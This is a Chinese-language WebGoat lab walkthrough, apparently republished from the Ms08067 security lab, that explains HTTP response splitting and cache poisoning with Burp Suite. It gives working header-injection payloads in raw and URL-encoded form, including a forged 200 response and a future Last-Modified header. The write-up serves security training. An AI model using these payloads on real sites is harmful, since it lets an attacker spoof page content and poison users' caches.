专栏首页Ms08067安全实验室WebGoat靶场系列---General

WebGoat靶场系列---General

在上一章中,我们已经完成了WebGoat的安装,接下来,就可以来搞事情了。首先,第一部分是对WebGoat的介绍,上一章已经详细介绍过了,我们直接进入实战部分。

本节主要练习的是HTTP基本知识

HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:WorldWide Web)服务器传输超文本到本地浏览器的传送协议。

HTTP基于TCP/IP协议,HTTP的客户端请求包括请求行,请求头部,空行和请求数据四个部分组成。

  1. HTTP响应

本节主要目的是了解浏览器和Web程序之间的数据传输,在输入框输入任意字符,之后点击提交,然后一直点击GO,即可通关。

2. HTTP拆分

(1)判断,重定向里边的Location参数恰好是提交的参数’ chinese’,这样,就存在HTTP应答拆分的可能。

先使用Burpsuite抓包,然后将截获的数据包发送到Repeater,来观察请求和响应。

发送到Repeater之后点击Go,来观察响应内容

可以看到,在请求的发送和请求的响应中,都存在Location=chinese,就可以判定,存在HTTP拆分的可能性。

(2)对于HTTP拆分攻击,我们可以自定义HTTP头,然后转化为URL编码进行攻击,可以用URL编码转换(或WebGoat提供的http://yehg.net/encoding/)进行URL编码,将URL编码后提交。

China

Content-Length: 0

HTTP/1.1 200 OK

Content-Type: application/x-www-form-urlencoded

Content-Length: 47

<html>Gogoing</html>

URL编码为:

China%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2047%0A%3Chtml%3EGogoing%3C%2Fhtml%3E%0A

然后刷新一下网页,第一阶段已经通过

如果某行的内容是Content-Length:0,则浏览器响应队列会认为这个响应已经结束.浏览器向重定向地址发送请求后会把Content-Length:0之后的内容当成下一个响应,从而显示<html>Gogoing</html>页面内容。

(3)在这个基础上可以改进攻击方式让它更有威胁.在构造的请求中加入Last-modify字段,并设置一个将来的值比如2020年1月1日.意思是服务器告诉浏览器,这个网页最后一次修改是在2020年1月1日.如果浏览器不清除缓存,下一次请求这个页面会加上if-modify-since字段,值是2020年1月1日,也就是说浏览器会问服务器,这个网页在2020年1月1日之后修改过嘛?当然服务器是人的话肯定会对这个问法莫名其妙,怎么会传过来一个未来的值?但是因为是程序,服务器会比对最后一次修改时间和传过来的时间,发现传过来的时间较新,就会回送304即Not Modified,表示这个网页没有被修改过.浏览器接受到了这个响应会从本地缓存读取网页,当然是之前注入的错误网页.如果浏览器不清除缓存,再也别想读取到正确的网页信息了.这就是HTTP的Cache Poisoning(缓存毒化)。

china

Content-Length:0

HTTP/1.1200 OK

Content-Type:application/x-www-form-urlencoded

Last-Modified:Mon, 27 Oct 2222 14:50:18 GMT

Content-Length:47

URL编码:

china%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202222%2014%3A50%3A18%20GMT%0AContent-Length%3A%2047

作者:小英雄宋人头

来源:Ms08067安全实验室

本文分享自微信公众号 - Ms08067安全实验室(Ms08067_com),作者:徐焱

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-03-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 如何在Google Web Toolkit环境下Getshell

    Google Web Toolkit简称(GWT),是一款开源Java软件开发框架。今天这篇文章会介绍如何在这样的环境中通过注入表达式语句从而导致的高危漏洞。

    徐焱
  • 单引号双引号与poc的故事

    最近编写个Thinkcmf任意件内容包含漏洞插件,因为之前写过这个漏洞的poc觉着会很简单,此次的只要增强下功能,能上传定义的就拿出曾经写的poc开始改造之旅,...

    徐焱
  • WINHEX之从数据恢复到删盘跑路

    WINHEX是一款用于查看和编辑底层十六进制数据的软件。我们可以利用这个软件修改文件格式数据,从而达到数据恢复的效果。

    徐焱
  • ACCESS 替换内容

    一、这次是把Pic字段中空值替换成/Public/static/images/admin/noimg.jpg

    用户1191760
  • 用了这么久HTTP, 你是否了解Content-Length和Transfer-Encoding ?

    .example_responsive_1 { width: 200px; height: 50px; } @media(min-width: 290px)...

    草堂笺
  • 剑指Offer - 面试题5. 替换空格(字符串)

    来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/ti-huan-kong-ge-lcof 著作权归领...

    Michael阿明
  • 新闻动态| 腾讯华东总部揭牌 腾讯优图等业务助力上海打造人工智能产业高地

    腾讯早在2012年就在上海布局人工智能项目,优图实验室就是其中重要代表。作为国内顶级的机器学习研发平台,优图实验室集聚了国内最优秀的AI人才和研究团队,在人脸识...

    优图实验室
  • 多旋翼机架设计

    目前常用的X字型结构,因为: • 机动性更强 • 前视相机的视场角不容易被遮挡。 (2)环型 • 与传统交叉型机架相比,其刚性更大 • 可较大程度避免...

    小飞侠xp
  • ios9 http请求失败的问题

    最近做项目的时候 将电脑版本升级到10.11.3  xcode'升级到 7.2  但是在模拟器上边进行数据请求的时候告诉我说网路哦有问题 截图如下 ? 通过网络...

    用户1219438
  • 战新板叫停,中概股回归恐致投资化为泡影

    中概股回归再添新堵。3月15日下午,根据证监会意见,“十三五”规划《纲要草案》中“设立战略性新兴产业板”被删除,意味着成立战略新兴板块的计划可能被无限期推迟。由...

    曾响铃

扫码关注云+社区

领取腾讯云代金券